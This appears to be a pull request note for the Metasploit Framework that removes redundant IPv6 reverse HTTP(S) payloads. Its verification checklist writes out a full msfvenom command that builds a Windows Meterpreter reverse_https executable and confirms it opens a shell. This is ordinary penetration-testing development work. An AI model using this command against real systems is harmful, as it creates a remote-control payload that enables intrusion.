Remove superfluous v6 http{,s} payload and handler

The same functionality is available with the regular reverse_http{,s} payloads and handler now.

## Verification

 - [x] create reverse_http stager with ipv6 address `./msfvenom -p windows/meterpreter/reverse_https LHOST=fe80::250:56ff:fec0:1 LPORT=8443 -f exe-only > met-https-v6-8443.exe`
 - [x] set up handler to catch it
 - [x] **verify**: still gets a shell